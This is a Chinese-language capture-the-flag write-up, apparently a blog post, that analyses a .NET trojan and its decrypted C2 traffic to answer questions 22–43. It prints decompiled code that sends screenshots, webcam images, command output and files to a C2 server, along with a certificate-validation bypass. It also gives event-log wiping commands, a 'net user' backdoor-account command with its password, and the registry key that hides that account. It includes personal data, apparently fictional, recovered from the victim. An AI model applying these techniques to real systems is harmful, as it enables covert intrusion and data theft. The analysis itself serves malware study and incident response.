\"\"<\/div><\/figure>\n\n\n\n
22.\u8be5\u6076\u610f\u6837\u672c\u7684PE\u5b50\u7cfb\u7edf\u7c7b\u578b\u662f\u4ec0\u4e48\uff1f\uff08\u5341\u516d\u8fdb\u5236\u503c\uff09<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{0x0000}<\/code><\/p>\n\n\n\n
\u6839\u636e\u4e0a\u4e00\u9898\u5df2\u7ecf\u77e5\u9053\u662fGUI\u9875\u9762 \u5c31\u662f\u56fe\u5f62\u754c\u9762<\/p>\n\n\n\n
2 = IMAGE_SUBSYSTEM_WINDOWS_GUI\uff08\u56fe\u5f62\u754c\u9762\uff09\n3 = IMAGE_SUBSYSTEM_WINDOWS_CUI\uff08\u63a7\u5236\u53f0\uff09<\/code><\/pre>\n\n\n\n
\u53ef\u4ee5\u76f4\u63a5\u5f97\u5230\u7b54\u6848<\/p>\n\n\n\n
flag{0x0002}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
23.\u5206\u6790\u6076\u610f\u6587\u4ef6\uff0c\u8be5\u6076\u610f\u7a0b\u5e8f\u4e0eC2\u670d\u52a1\u5668\u901a\u4fe1\u65f6\u4f7f\u7528\u7684HTTP Content-Type\u662f\u4ec0\u4e48\uff1f<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{xxx}<\/code><\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6076\u610f\u7a0b\u5e8f\u5728 Wc()<\/code> \u65b9\u6cd5\u4e2d\u663e\u5f0f\u8bbe\u7f6e\u4e86 HTTP \u5934\uff0c\u7ee7\u7eed\u5f80\u4e0b\u770b Post()<\/code> \u548c PostR()<\/code>\uff0c\u5b83\u4eec\u90fd\u8c03\u7528 Wc().UploadString(...)<\/code> \u53d1\u9001\u6570\u636e\uff0c\u6240\u4ee5\u8fd9\u4e2a\u8bf7\u6c42\u5934\u4f1a\u7528\u4e8e\u540e\u7eed C2 POST \u901a\u4fe1\u3002<\/p>\n\n\n\n
flag{application\/x-www-form-urlencoded}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
24.\u5206\u6790\u6076\u610f\u6587\u4ef6\uff0c\u8be5\u6076\u610f\u7a0b\u5e8f\u5ffd\u7565TLS\u8bc1\u4e66\u6821\u9a8c\u6240\u8c03\u7528\u7684\u5bf9\u8c61\u5c5e\u6027\u5168\u540d\u662f\u4ec0\u4e48\uff1f<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{xxx.xxx}<\/code><\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7ee7\u7eed\u6839\u8fdb \u53ef\u4ee5\u770b\u5230 \u6076\u610f\u7a0b\u5e8f\u901a\u8fc7 Core.StartBeacon()<\/code> \u65b9\u6cd5\u542f\u52a8\u4e0e C2 \u7684\u901a\u4fe1\uff0c\u5176\u4e2d\u4f7f\u7528\u4e86 ServicePointManager<\/code> \u6765\u5ffd\u7565 TLS \u8bc1\u4e66\u6821\u9a8c\u3002<\/p>\n\n\n\n
Core.StartBeacon()<\/p>\n\n\n\n
ServicePointManager.ServerCertificateValidationCallback = \n    (RemoteCertificateValidationCallback)Delegate.Combine(\n        ServicePointManager.ServerCertificateValidationCallback,\n        (RemoteCertificateValidationCallback)((object a, X509Certificate b, X509Chain c, SslPolicyErrors d) => true)\n    );<\/code><\/pre>\n\n\n\n
\u8be5\u56de\u8c03\u603b\u662f\u8fd4\u56de true<\/code>\uff0c\u4f7f\u7a0b\u5e8f\u63a5\u53d7\u4efb\u4f55 SSL\/TLS \u8bc1\u4e66\uff08\u5305\u62ec\u81ea\u7b7e\u540d\u3001\u8fc7\u671f\u3001\u57df\u540d\u4e0d\u5339\u914d\u7b49\uff09\uff0c\u4ece\u800c\u5b9e\u73b0\u4e2d\u95f4\u4eba\u653b\u51fb\u9632\u5fa1\u7684\u7ed5\u8fc7\u3002<\/p>\n\n\n\n
\u5b8c\u6574\u540d\u79f0\u4e3a\uff1a<\/p>\n\n\n\n
flag{ServicePointManager.ServerCertificateValidationCallback}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
25.\u8be5\u6076\u610f\u7a0b\u5e8f\u5728\u6e90\u7801\u4e2d\u786c\u7f16\u7801\u4e86\u591a\u4e2a\u4f11\u7720\u7b49\u5f85\u65f6\u95f4\uff0c\u5176\u4e2d\u6700\u77ed\u7684\u56fa\u5b9a\u4f11\u7720\u65f6\u95f4\u662f\u591a\u5c11\u6beb\u79d2\uff1f<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{\u6570\u5b57}<\/code><\/p>\n\n\n\n
\u76f4\u63a5\u627esleep\u5c31\u884c\u4e86<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5728 Core -> WipeLogs()<\/code> \u91cc\u80fd\u770b\u5230\u6e05\u7406\u4e8b\u4ef6\u65e5\u5fd7\u7684\u5faa\u73af\u3002\u8fd9\u91cc\u6267\u884c wevtutil.exe cl System\/Security\/Application<\/code> \u540e\u4f11\u7720 200<\/code> \u6beb\u79d2\uff0c\u8fd9\u662f\u6837\u672c\u6e90\u7801\u4e2d\u5199\u6b7b\u7684\u6700\u77ed\u56fa\u5b9a Sleep\uff0c\u56e0\u6b64\u7b54\u6848\u53d6 200<\/code>\u3002<\/p>\n\n\n\n
flag{200}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
26.\u6076\u610f\u7a0b\u5e8f\u56de\u8fdeC2\u670d\u52a1\u5668\u4f7f\u7528\u7684\u7aef\u53e3\u53f7\u662f\u591a\u5c11\uff1f<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{\u6570\u5b57}<\/code><\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5728 exe\u91cc\u9762\u5c31\u53ef\u4ee5\u5f97\u5230<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5728\u6d41\u91cf\u91cc\u9762\u4e5f\u53ef\u4ee5\u770b\u5230<\/p>\n\n\n\n
flag{8443}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
27.\u6728\u9a6c C2 \u5907\u7528\u7aef\u53e3\u662f\u591a\u5c11\uff1f<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{\u6570\u5b57}<\/code><\/p>\n\n\n\n
\u5728\u4e0a\u4e00\u4e2a\u56fe\u7247\u5c31\u53ef\u4ee5\u770b\u5230\u7b54\u6848<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{4443}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
28.C2\u901a\u4fe1\u4f7f\u7528\u7684TLS\u7248\u672c\u548c\u5bc6\u7801\u5957\u4ef6\u7f16\u53f7\u5206\u522b\u662f\u4ec0\u4e48\uff1f\uff08\u683c\u5f0f\uff1aTLS\u7248\u672c_\u5bc6\u7801\u5957\u4ef6\u5341\u516d\u8fdb\u5236\uff09<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{0x0000_0x0000}<\/code><\/p>\n\n\n\n
\u8fc7\u6ee4\u5c31\u53ea\u770b8843\u7684\u901a\u4fe1\u7684 \u8bb0\u5f97\u89e3\u5bc6\u54e6<\/p>\n\n\n\n
tls.handshake.type == 2 && tcp.port == 8443<\/code><\/pre>\n\n\n\n
\u770b\u7b2c 45765 \u5305 \u5c31\u53ef\u4ee5\u5f97\u5230\u4e86<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{0x0303_0xc030}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
29.C2\u901a\u4fe1\u7684JA3\u6307\u7eb9\u503c\u662f\u591a\u5c11\uff1f<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}<\/code><\/p>\n\n\n\n
\u8fc7\u6ee4\u5c31\u884c<\/p>\n\n\n\n
tls.handshake.type == 1 && tcp.dstport == 8443<\/code><\/pre>\n\n\n\n
JA3 \u662f TLS Client Hello<\/code> \u7684\u5ba2\u6237\u7aef\u6307\u7eb9\uff0c\u4e0d\u662f\u670d\u52a1\u7aef\u56de\u5305\u91cc\u7684\u5b57\u6bb5\u3002\u5b83\u7531\u5ba2\u6237\u7aef\u53d1\u8d77\u63e1\u624b\u65f6\u5e26\u51fa\u7684\u7248\u672c\u3001\u5bc6\u7801\u5957\u4ef6\u3001\u6269\u5c55\u7b49\u4fe1\u606f\u8ba1\u7b97\u51fa\u6765\uff0c\u6240\u4ee5\u8981\u5148\u8fc7\u6ee4\u51fa Client Hello<\/code>\uff0c\u518d\u627e\u5bf9\u5e94\u7684 JA3\u5c31\u884c<\/p>\n\n\n\n
\u5ba2\u6237\u7aef\u7684\u662fClient Hello -> JA3<\/p>\n\n\n\n
\u670d\u52a1\u7aef\u7684\u662fServer Hello -> JA3S<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{43016d7f7f9336b17c884650d0d2545d}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
30.\u4f7f\u7528sslkeys.log\u89e3\u5bc6C2\u6d41\u91cf\u540e\uff0cC2\u5fc3\u8df3\u5305\u7684POST\u8def\u5f84\u662f\u4ec0\u4e48\uff1f<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{\/xxx}<\/code><\/p>\n\n\n\n
http.request && tcp.port == 8443<\/code><\/pre>\n\n\n\n
\u67e5\u770b 8443 \u4e0a\u6240\u6709 HTTP \u8bf7\u6c42\u3002\u6309\u51fa\u73b0\u9891\u7387\u548c\u8bf7\u6c42\u5185\u5bb9\u5224\u65ad\uff0c\/s<\/code> \u662f\u6301\u7eed\u51fa\u73b0\u7684\u5fc3\u8df3\u8def\u5f84\uff0c\u800c\u4e14\u5fc3\u8df3\u5305\u53d1\u9001\u5230\u8def\u5f84\/s\uff0c\u5360C2\u6d41\u91cf\u7684\u7edd\u5927\u591a\u6570<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{\/s}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
31.\u89e3\u5bc6C2\u6d41\u91cf\u540e\uff0c\u5fc3\u8df3\u5305\u4e2d\u4e0a\u62a5\u7684\u673a\u5668\u6807\u8bc6\u5b57\u6bb5\u5185\u5bb9\u662f\u4ec0\u4e48\uff1f\uff08\u5b8c\u6574\u7684POST body\u89e3\u7801\u540e\u5185\u5bb9\uff09<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{xxx=xxx&xxx=xxx}<\/code><\/p>\n\n\n\n
\u6839\u636e\u4e0a\u4e00\u9898\u7684\u8fc7\u6ee4\u770b8843\u7684http \u70b9\u8fdb\u53bb\u770b\u5c31\u53ef\u4ee5\u5f97\u5230<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{id=WIN-5CNHCFAIMP9&s=1}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
32.\u6728\u9a6c\u4e0a\u7ebf\u65f6\u5411 C2 \u8def\u5f84 \/h \u4e0a\u62a5\u7684\u521d\u59cb\u4fe1\u606f\u5305\u542b\u54ea\u4e9b\u5b57\u6bb5\u548c\u503c\uff1f\uff08\u683c\u5f0f\uff1a\u5b57\u6bb51=\u503c,\u5b57\u6bb52=\u503c,\u5b57\u6bb53=\u503c\uff09<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{xxx=xxx,xxx=xxx,xxx=xxx}<\/code><\/p>\n\n\n\n
\u8fd8\u662f\u8fd9\u4e2a\u8fc7\u6ee4<\/p>\n\n\n\n
http.request && tcp.port == 8443\n\u8be6\u7ec6\u8fc7\u6ee4\u5c31\u662f\nhttp.request && http.request.uri == \"\/h\" && tcp.port == 8443 \n#\/h\u662f\u4e3b\u673a\u4fe1\u606f\u4e0a\u62a5<\/code><\/pre>\n\n\n\n
\u518d57150\u968f\u4fbf\u627e\u627e\u5c31\u53ef\u4ee5\u627e\u5230<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
id\uff08\u4e3b\u673a\u540d\uff09\u3001user\uff08\u5f53\u524d\u7528\u6237\uff09\u3001os\uff08\u64cd\u4f5c\u7cfb\u7edf\u7248\u672c\uff09<\/p>\n\n\n\n
flag{id=WIN-5CNHCFAIMP9,user=Administrator,os=Microsoft Windows NT 6.2.9200.0}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
33.C2\u7ed3\u679c\u56de\u4f20\u4f7f\u7528\u7684POST\u8def\u5f84\u662f\u4ec0\u4e48\uff1f<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{\/xxx}<\/code><\/p>\n\n\n\n
\u5148\u89e3\u8bfb\u6728\u9a6c\u6709\u4ec0\u4e48\u529f\u80fd<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u518d\u6837\u672c\u6587\u4ef6\u4e2d\u6211\u4eec\u5c31\u77e5\u9053\u4e86 \u91cc\u9762\u5f97\u529f\u80fd<\/p>\n\n\n\n
PostR(\"info=\" + Convert.ToBase64String(...));\nPostR(\"ps=\" + Cmd(\"tasklist\"));\nPostR(\"screen=\" + Convert.ToBase64String(array));\nPostR(\"cam=\" + Convert.ToBase64String(array));\nPostR(\"exec=\" + Cmd(...));\nPostR(\"file=\" + Convert.ToBase64String(File.ReadAllBytes(path)));\n info= \u4fe1\u606f\u6536\u96c6\u7ed3\u679c\n ps= \u8fdb\u7a0b\u5217\u8868\n screen= \u5c4f\u5e55\u622a\u56fe\n cam= \u6444\u50cf\u5934\u56fe\u7247\n exec= \u547d\u4ee4\u6267\u884c\u7ed3\u679c\n file= \u6587\u4ef6\u5185\u5bb9\n\n \u6240\u6709\u529f\u80fd\n  i \/ info\uff1a\u56de\u4f20\u57fa\u7840\u4fe1\u606f\n  p \/ ps\uff1a\u56de\u4f20\u8fdb\u7a0b\u5217\u8868\n  sc \/ screen\uff1a\u622a\u5c4f\u56de\u4f20\n  c \/ cam\uff1a\u6444\u50cf\u5934\u56de\u4f20\n  k \/ kill\uff1a\u6e05\u7406\u6301\u4e45\u5316\u5e76\u9000\u51fa\n  e <cmd> \/ exec <cmd>\uff1a\u6267\u884c\u547d\u4ee4\u5e76\u56de\u4f20\u7ed3\u679c\n  g <path> \/ get <path>\uff1a\u8bfb\u53d6\u6587\u4ef6\u5e76\u56de\u4f20\n  sl <ms> \/ sleep <ms>\uff1a\u4f11\u7720\u6307\u5b9a\u6beb\u79d2<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5728exe\u91cc\u9762\u5c31\u77e5\u9053\u56de\u4f20\u8def\u5f84<\/p>\n\n\n\n
\u5728\u6076\u610f\u7a0b\u5e8f\u7684 Core<\/code> \u7c7b\u4e2d\uff0c\u6240\u6709\u9700\u8981\u5c06\u6570\u636e\u53d1\u9001\u56de C2 \u7684\u64cd\u4f5c\uff08\u5982\u5c4f\u5e55\u622a\u56fe\u3001\u547d\u4ee4\u6267\u884c\u7ed3\u679c\u3001\u6587\u4ef6\u4e0a\u4f20\u7b49\uff09\u90fd\u8c03\u7528\u4e86 PostR(string d)\u65b9\u6cd5\uff1a<\/p>\n\n\n\n
private static void PostR(string d)\n{\n    try\n    {\n        Wc().UploadString(\"https:\/\/\" + G.X(G._c2) + \":\" + G._port + \"\/r\", d);\n    }\n    catch { }\n}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u770b\u6d41\u91cf\u4e5f\u53ef\u4ee5\u5f97\u5230 \u968f\u4fbf\u70b9\u8fdb\u53bb\u770b\u770b\u5c31\u53ef\u4ee5\u770b\u5230\u4e00\u4e2a\u547d\u4ee4\u5f97\u56de\u4f20<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{\/r}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
34.\u653b\u51fb\u8005\u901a\u8fc7C2\u5728\u53d7\u5bb3\u4e3b\u673a\u4e0a\u6267\u884cwhoami\u547d\u4ee4\u540e\u83b7\u53d6\u5230\u7684\u5b8c\u6574\u7ed3\u679c\u662f\u4ec0\u4e48\uff1f<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{xxxxxx}<\/code><\/p>\n\n\n\n
\u8fd8\u662f\u8fd9\u4e2a\u547d\u4ee4\u53ea\u770b8843<\/p>\n\n\n\n
http.request && tcp.port == 8443<\/code><\/pre>\n\n\n\n
\u627e\u4e00\u627e\u7b2c 51904\u5305\u662f\u670d\u52a1\u7aef\u4e0b\u53d1\u7684 whoami<\/code> \u547d\u4ee4\u3002\u7b2c 51924<\/code> \u5305\u662f\u5ba2\u6237\u7aef\u56de\u4f20\u7ed3\u679c<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{win-5cnhcfaimp9administrator}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
35.C2\u4e3b\u673a\u4fe1\u606f\u4e0a\u62a5\u8def\u5f84\/h\u4e2d\u5305\u542b\u4e86\u64cd\u4f5c\u7cfb\u7edf\u7248\u672c\u4fe1\u606f\uff0c\u53d7\u5bb3\u8005\u64cd\u4f5c\u7cfb\u7edf\u7684\u5b8c\u6574\u6807\u8bc6\u662f\u4ec0\u4e48\uff1f<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{xxx}<\/code><\/p>\n\n\n\n
\u5176\u5b9e\u662f32\u6211\u4eec\u5df2\u7ecf\u5f97\u5230\u7b54\u6848\u4e86<\/p>\n\n\n\n
\u968f\u4fbf\u627e\u627e\u5c31\u53ef\u4ee5\u5f97\u5230<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{Microsoft Windows NT 6.2.9200.0}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
36.\u653b\u51fb\u8005\u901a\u8fc7C2\u5728\u53d7\u5bb3\u4e3b\u673a\u4e0a\u521b\u5efa\u4e86\u51e0\u4e2a\u9690\u85cf\u540e\u95e8\u8d26\u6237\uff1f\u5206\u522b\u662f\u4ec0\u4e48\u7528\u6237\u540d\uff1f<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{\u6570\u5b57,xxx,xxx}<\/code><\/p>\n\n\n\n
52921\u5305\u4e0b\u53d1 net user yue Aa123456!@ \/add<\/code>\uff0c\u521b\u5efa\u8d26\u6237 yue<\/code>\u300253132\u53ef\u4ee5\u770b\u5230\u521b\u5efa yue$<\/code> \u7684\u547d\u4ee4\uff0c\u56e0\u6b64\u540e\u95e8\u8d26\u6237\u6570\u4e3a 2\uff0c\u8d26\u6237\u540d\u4e3a yue<\/code> \u548c yue$<\/code>\u3002<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{2,yue,yue$}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
37.\u653b\u51fb\u8005\u521b\u5efa yue \u8d26\u6237\u65f6\u8bbe\u7f6e\u7684\u5bc6\u7801\u662f\u4ec0\u4e48\uff1f<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{xxx}<\/code><\/p>\n\n\n\n
\u5728\u4e0a\u4e00\u9898\u5df2\u7ecf\u5f97\u5230\u4e86<\/p>\n\n\n\n
flag{Aa123456!@}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
38.\u653b\u51fb\u8005\u7528\u4ec0\u4e48\u6ce8\u518c\u8868\u8def\u5f84\u548c\u952e\u503c\u9690\u85cf\u540e\u95e8\u8d26\u6237\u3002\u5199\u51fa\u5b8c\u6574\u8def\u5f84\u3001\u952e\u540d\u3001\u7c7b\u578b\u548c\u6570\u503c\u3002<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{xxx,xxx,xxx,\u6570\u5b57}<\/code><\/p>\n\n\n\n
\u572853766\u5f97\u5230<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{HKLMSOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserList,yue$,REG_DWORD,0}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
39.\u53d7\u5bb3\u8005\u7684\u624b\u673a\u53f7\u3001\u8eab\u4efd\u8bc1\u53f7\u548c\u5bb6\u5ead\u4f4f\u5740\u5206\u522b\u662f\u4ec0\u4e48\u3002\uff08\u624b\u673a\u53f7\u683c\u5f0f\uff1axxx-xxx-xxx\uff09<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{xxx-xxxx-xxxx,xxxxxxxxxxxxxxxxxx,xxx}<\/code><\/p>\n\n\n\n
\u8fd9\u4e2a\u5c31\u662finfo \u547d\u4ee4\u91cc\u9762\u53ef\u4ee5\u77e5\u9053 \u7ee7\u7eed\u627e\u6d41\u91cf\u5305\u5c31\u884c\u4e86 \u5c31\u770b\u5c31\u884c<\/p>\n\n\n\n
\u53ea\u770b8843 <\/p>\n\n\n\n
http.request && tcp.port == 8443<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u572847975\u53ef\u4ee5\u770b\u5230info \u5185\u5bb9 \u89e3\u7801 GBK<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{138-5710-2026,330106199508151231,\u6d59\u6c5f\u7701\u676d\u5dde\u5e02\u897f\u6e56\u533a\u6587\u4e00\u897f\u8def888\u53f7\u661f\u6708\u4ea4\u54cd\u5c0f\u533a5\u5e622\u5355\u5143801\u5ba4}<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
40.\u6728\u9a6c\u5177\u5907\u54ea\u4e9b\u6076\u610f\u529f\u80fd\uff0c\u5bf9\u5e94 C2 \u547d\u4ee4\u5b57\u662f\u4ec0\u4e48\u3002\uff08\u683c\u5f0f\uff1aflag{\u547d \u4ee4\u5b57:function,\u547d\u4ee4\u5b57:function}\uff0c\u6309\u547d\u4ee4\u5b57 a-z \u6392\u5e8f\uff1b\u77ed\u547d\u4ee4\u6309\u529f\u80fd\u5f52\u4e00\u5316\uff0c\u5982 c \u8bb0\u4e3a cam\u3001e \u8bb0\u4e3a exec\u3001i \u8bb0\u4e3a info\uff09<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{xxx:xxx,xxx:xxx}<\/code><\/p>\n\n\n\n
\u53ea\u770b\u56de\u4f20\u5f97\u5305 \u53ef\u4ee5\u7ed3\u5408exe\u6728\u9a6c\u6587\u4ef6\u9006\u5411\u5f97\u5230\u5f97\u4fe1\u606f \u5c31\u662f\u6211\u572833\u91cc\u9762\u8bf4\u5f97<\/p>\n\n\n\n
http.request && http.request.uri == \"\/r\" && tcp.port == 8443 && http.file_data<\/code><\/pre>\n\n\n\n
\u7b2c 47635<\/code> \u5305\u51fa\u73b0 info<\/code>\uff0c\u5bf9\u5e94\u7cfb\u7edf\u4fe1\u606f\u6536\u96c6<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7b2c 51924<\/code> \u5305\u51fa\u73b0 exec<\/code>\uff0c\u5bf9\u5e94\u547d\u4ee4\u6267\u884c<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7b2c 71338<\/code> \u5305\u51fa\u73b0 screen<\/code>\uff0c\u5bf9\u5e94\u622a\u56fe<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7b2c 73913<\/code> \u5305\u51fa\u73b0 cam<\/code>\uff0c\u5bf9\u5e94\u6444\u50cf\u5934\u6355\u83b7\u3002\u9898\u76ee\u8981\u6c42\u622a\u56fe\u547d\u4ee4\u5b57\u5199\u77ed\u540d sc<\/code>\u3002<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6574\u5408\u7b54\u6848\u5f97\u5230<\/p>\n\n\n\n
flag{cam:webcam_capture,exec:command_execution,info:system_information,sc:screenshot}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
41.\u6728\u9a6c\u5c4f\u5e55\u622a\u56fe\u7528\u4e86\u4ec0\u4e48 Windows API\uff0c\u56fe\u7247\u4fdd\u5b58\u4ec0\u4e48\u683c\u5f0f\uff0c\u4f20\u7ed9 C2 \u524d\u505a\u4e86\u4ec0\u4e48\u7f16\u7801\u3002<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{xxx,xxx,xxx}<\/code><\/p>\n\n\n\n
\u770b\u6076\u610f\u6587\u4ef6<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
G.BitBlt(intPtr, 0, 0, num, num2, dC, systemMetrics, systemMetrics2, 13369376u);<\/code><\/pre>\n\n\n\n
BitBlt\uff08Bit Block Transfer\uff09\u662f\u6838\u5fc3\u7684\u4f4d\u56fe\u62f7\u8d1d\u51fd\u6570\u3002<\/p>\n\n\n\n
\u53c2\u6570\u542b\u4e49\uff1a<\/p>\n\n\n\n
\u76ee\u6807 DC\uff08\u5185\u5b58DC\uff09\u3001\u76ee\u6807\u8d77\u59cb\u5750\u6807 (0,0)\n\u5bbd\u5ea6\u548c\u9ad8\u5ea6\uff08\u6574\u4e2a\u5c4f\u5e55\uff09\n\u6e90 DC\uff08\u5c4f\u5e55DC\uff09\n\u6e90\u8d77\u59cb\u5750\u6807\uff08\u865a\u62df\u5c4f\u5e55\u5de6\u4e0a\u89d2\u504f\u79fb\uff09\n\u6700\u540e\u4e00\u4e2a\u53c2\u6570 13369376 \u5bf9\u5e94 SRCCOPY\uff08\u7b80\u5355\u62f7\u8d1d\uff09\uff0c\u5373\u76f4\u63a5\u628a\u5c4f\u5e55\u5185\u5bb9\u590d\u5236\u5230\u5185\u5b58\u4f4d\u56fe<\/code><\/pre>\n\n\n\n
\u5176\u5b9e\u770b\u6d41\u91cf\u4e5f\u53ef\u4ee5\u77e5\u9053\u662f\u4ec0\u4e48\u7f16\u7801\u4e86<\/p>\n\n\n\n
flag{BitBlt,JPEG,Base64}<\/code><\/pre>\n\n\n\n
42.\u622a\u56fe\u529f\u80fd\u4e2d BitBlt \u7684 dwRop \u5149\u6805\u64cd\u4f5c\u5e38\u91cf\u503c\u662f\u4ec0\u4e48\uff1f\uff08\u5341\u516d\u8fdb\u5236\uff09<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{0x0000}<\/code><\/p>\n\n\n\n
\u4e0a\u4e00\u9898\u5df2\u7ecf\u5f97\u5230\u7b54\u6848\u4e86<\/p>\n\n\n\n
\u770bBitBlt<\/code> \u8c03\u7528\uff0c\u6700\u540e\u4e00\u4e2a\u53c2\u6570 dwRop<\/code> \u4e3a 0xCC0020<\/code>\uff0c\u5373 SRCCOPY\u3002<\/p>\n\n\n\n
flag{0xCC0020}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
43.WindowsUpdate.bat\u521b\u5efa\u7684\u8ba1\u5212\u4efb\u52a1\u540d\u79f0\u662f\u4ec0\u4e48\uff1f<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{xxx}<\/code><\/p>\n\n\n\n
\u6316\u77ff\u811a\u672c\u662f\u660e\u6587 HTTP \u4e0b\u8f7d\u7684\u3002\u5148\u770b\u7b2c 63328<\/code> \u5305\u7684 C2 \u547d\u4ee4\uff0c\u91cc\u9762\u4e0b\u53d1\u4e86 certutil<\/code> \u4e0b\u8f7d\u547d\u4ee4\uff1b<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
63296 \u53ef\u4ee5\u770b\u5230 \u7aef\u53e3<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u518d\u8fc7\u6ee4 8888 \u7aef\u53e3 HTTP \u6d41\u91cf\uff0c<\/p>\n\n\n\n
http && tcp.port == 8888<\/code><\/pre>\n\n\n\n
\u7b2c 63303<\/code> \u5305\u662f\u8bf7\u6c42 \/WindowsUpdate.bat<\/code>\uff0c<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7b2c 63306<\/code> \u5305\u662f\u811a\u672c\u54cd\u5e94\uff0c\u4e0b\u9762\u5341\u9898\u4e3b\u8981\u770b\u7b2c 63306<\/code> \u5305\u54cd\u5e94\u4f53\u5185\u5bb9<\/p>\n\n\n\n
43\u9898\u7b54\u6848<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{WindowsRuntimePlatformUpdate}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
